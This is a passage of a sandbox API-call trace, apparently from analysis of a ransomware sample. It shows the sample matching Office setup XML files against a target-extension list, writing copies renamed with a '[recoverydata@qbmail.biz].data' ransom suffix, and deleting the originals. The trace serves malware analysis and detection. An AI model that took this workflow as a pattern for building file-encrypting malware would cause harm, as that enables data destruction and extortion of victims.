(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0091.886] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0091.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0091.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0091.886] lstrlenW (lpString=".doc") returned 4 [0091.886] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0091.886] lstrlenW (lpString=".docx") returned 5 [0091.886] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0091.886] lstrlenW (lpString=".pdf") returned 4 [0091.886] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0091.887] lstrlenW (lpString=".xls") returned 4 [0091.887] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0091.887] lstrlenW (lpString=".xlsx") returned 5 [0091.887] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0091.887] lstrlenW (lpString=".ppt") returned 4 [0091.887] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0091.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0091.887] lstrlenW (lpString=".zip") returned 4 [0091.887] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0091.887] lstrlenW (lpString=".rar") returned 4 [0091.887] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0091.887] lstrlenW (lpString=".bz2") returned 4 [0091.887] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0091.887] lstrlenW (lpString=".7z") returned 3 [0091.887] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0091.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0091.887] lstrlenW (lpString=".dbf") returned 4 [0091.887] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0091.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0091.887] lstrlenW (lpString=".1cd") returned 4 [0091.887] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0091.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0091.887] lstrlenW (lpString=".jpg") returned 4 [0091.887] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0091.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0091.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0091.888] lstrlenW (lpString=".doc") returned 4 [0091.888] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0091.888] lstrlenW (lpString=".docx") returned 5 [0091.888] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0091.888] lstrlenW (lpString=".pdf") returned 4 [0091.888] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0091.888] lstrlenW (lpString=".xls") returned 4 [0091.888] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0091.888] lstrlenW (lpString=".xlsx") returned 5 [0091.888] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0091.888] lstrlenW (lpString=".ppt") returned 4 [0091.888] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0091.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0091.888] lstrlenW (lpString=".zip") returned 4 [0091.888] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0091.888] lstrlenW (lpString=".rar") returned 4 [0091.888] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0091.888] lstrlenW (lpString=".bz2") returned 4 [0091.888] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0091.888] lstrlenW (lpString=".7z") returned 3 [0091.888] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0091.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0091.889] lstrlenW (lpString=".dbf") returned 4 [0091.889] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0091.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0091.889] lstrlenW (lpString=".1cd") returned 4 [0091.889] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0091.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0091.889] lstrlenW (lpString=".jpg") returned 4 [0091.889] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0091.889] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0091.889] lstrlenW (lpString="Office32WW.XML") returned 14 [0091.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0091.890] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=4274) returned 1 [0091.890] CloseHandle (hObject=0x218) returned 1 [0091.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0091.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0091.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0091.890] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0091.891] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0091.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0091.892] GetLastError () returned 0x0 [0091.892] ReadFile (in: hFile=0x218, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0091.894] WriteFile (in: hFile=0x204, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0091.896] ReadFile (in: hFile=0x218, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0091.896] WriteFile (in: hFile=0x204, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0091.896] SetEndOfFile (hFile=0x204) returned 1 [0091.896] CloseHandle (hObject=0x204) returned 1 [0091.897] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0091.897] SetEndOfFile (hFile=0x218) returned 1 [0091.899] CloseHandle (hObject=0x218) returned 1 [0091.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0091.899] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0091.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0091.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0091.900] lstrlenW (lpString=".doc") returned 4 [0091.900] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0091.900] lstrlenW (lpString=".docx") returned 5 [0091.900] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0091.900] lstrlenW (lpString=".pdf") returned 4 [0091.900] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0091.900] lstrlenW (lpString=".xls") returned 4 [0091.900] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0091.900] lstrlenW (lpString=".xlsx") returned 5 [0091.900] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0091.900] lstrlenW (lpString=".ppt") returned 4 [0091.900] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0091.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0091.900] lstrlenW (lpString=".zip") returned 4 [0091.901] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0091.901] lstrlenW (lpString=".rar") returned 4 [0091.901] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0091.901] lstrlenW (lpString=".bz2") returned 4 [0091.901] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0091.901] lstrlenW (lpString=".7z") returned 3 [0091.901] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0091.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0091.901] lstrlenW (lpString=".dbf") returned 4 [0091.901] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0091.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0091.901] lstrlenW (lpString=".1cd") returned 4 [0091.901] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0091.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0091.902] lstrlenW (lpString=".jpg") returned 4 [0091.902] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0091.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0091.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0091.902] lstrlenW (lpString=".doc") returned 4 [0091.902] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0091.902] lstrlenW (lpString=".docx") returned 5 [0091.902] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0091.902] lstrlenW (lpString=".pdf") returned 4 [0091.902] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0091.902] lstrlenW (lpString=".xls") returned 4 [0091.903] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0091.903] lstrlenW (lpString=".xlsx") returned 5 [0091.903] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0091.903] lstrlenW (lpString=".ppt") returned 4 [0091.903] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0091.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0091.903] lstrlenW (lpString=".zip") returned 4 [0091.903] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0091.903] lstrlenW (lpString=".rar") returned 4 [0091.903] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0091.903] lstrlenW (lpString=".bz2") returned 4 [0091.903] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0091.904] lstrlenW (lpString=".7z") returned 3 [0091.904] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0091.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0091.904] lstrlenW (lpString=".dbf") returned 4 [0091.904] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0091.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0091.904] lstrlenW (lpString=".1cd") returned 4 [0091.904] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0091.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0091.904] lstrlenW (lpString=".jpg") returned 4 [0091.904] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0091.905] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0091.905] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0091.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0091.906] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1606) returned 1 [0091.906] CloseHandle (hObject=0x218) returned 1 [0091.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0091.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0091.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0091.906] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0091.907] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0091.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0091.910] GetLastError () returned 0x0 [0091.910] ReadFile (in: hFile=0x218, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x646, lpOverlapped=0x0) returned 1 [0092.420] WriteFile (in: hFile=0x204, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0x650, lpOverlapped=0x0) returned 1 [0092.422] ReadFile (in: hFile=0x218, lpBuffer=0x3980020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0092.422] WriteFile (in: hFile=0x204, lpBuffer=0x3980020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3980020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0092.422] SetEndOfFile (hFile=0x204) returned 1 [0092.422] CloseHandle (hObject=0x204) returned 1 [0092.423] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0092.423] SetEndOfFile (hFile=0x218) returned 1 [0092.425] CloseHandle (hObject=0x218) returned 1 [0092.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0092.425] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0092.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0092.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0092.697] lstrlenW (lpString=".doc") returned 4 [0092.697] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0092.697] lstrlenW (lpString=".docx") returned 5 [0092.697] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0092.697] lstrlenW (lpString=".pdf") returned 4 [0092.697] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0092.697] lstrlenW (lpString=".xls") returned 4 [0092.697] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0092.697] lstrlenW (lpString=".xlsx") returned 5 [0092.697] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0092.697] lstrlenW (lpString=".ppt") returned 4 [0092.697] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0092.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0092.697] lstrlenW (lpString=".zip") returned 4 [0092.697] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0092.697] lstrlenW (lpString=".rar") returned 4 [0092.698] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0092.698] lstrlenW (lpString=".bz2") returned 4 [0092.698] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0092.698] lstrlenW (lpString=".7z") returned 3 [0092.698] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0092.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0092.698] lstrlenW (lpString=".dbf") returned 4 [0092.698] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0092.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0092.698] lstrlenW (lpString=".1cd") returned 4 [0092.698] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0092.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0092.698] lstrlenW (lpString=".jpg") returned 4 [0092.698] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0092.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0092.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0092.698] lstrlenW (lpString=".doc") returned 4 [0092.698] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0092.698] lstrlenW (lpString=".docx") returned 5 [0092.698] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0092.699] lstrlenW (lpString=".pdf") returned 4 [0092.699] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0092.699] lstrlenW (lpString=".xls") returned 4 [0092.699] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0092.699] lstrlenW (lpString=".xlsx") returned 5 [0092.699] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0092.699] lstrlenW (lpString=".ppt") returned 4 [0092.699] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0092.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0092.699] lstrlenW (lpString=".zip") returned 4 [0092.699] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0092.699] lstrlenW (lpString=".rar") returned 4 [0092.699] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0092.699] lstrlenW (lpString=".bz2") returned 4 [0092.699] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0092.699] lstrlenW (lpString=".7z") returned 3 [0092.699] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0092.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0092.699] lstrlenW (lpString=".dbf") returned 4 [0092.699] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0092.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0092.699] lstrlenW (lpString=".1cd") returned 4 [0092.699] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0092.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0092.700] lstrlenW (lpString=".jpg") returned 4 [0092.700] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0092.700] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0092.700] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0092.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0092.701] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=1450) returned 1 [0092.701] CloseHandle (hObject=0x204) returned 1 [0092.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0092.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0092.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0092.701] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0092.701] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0092.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0094.904] GetLastError () returned 0x0 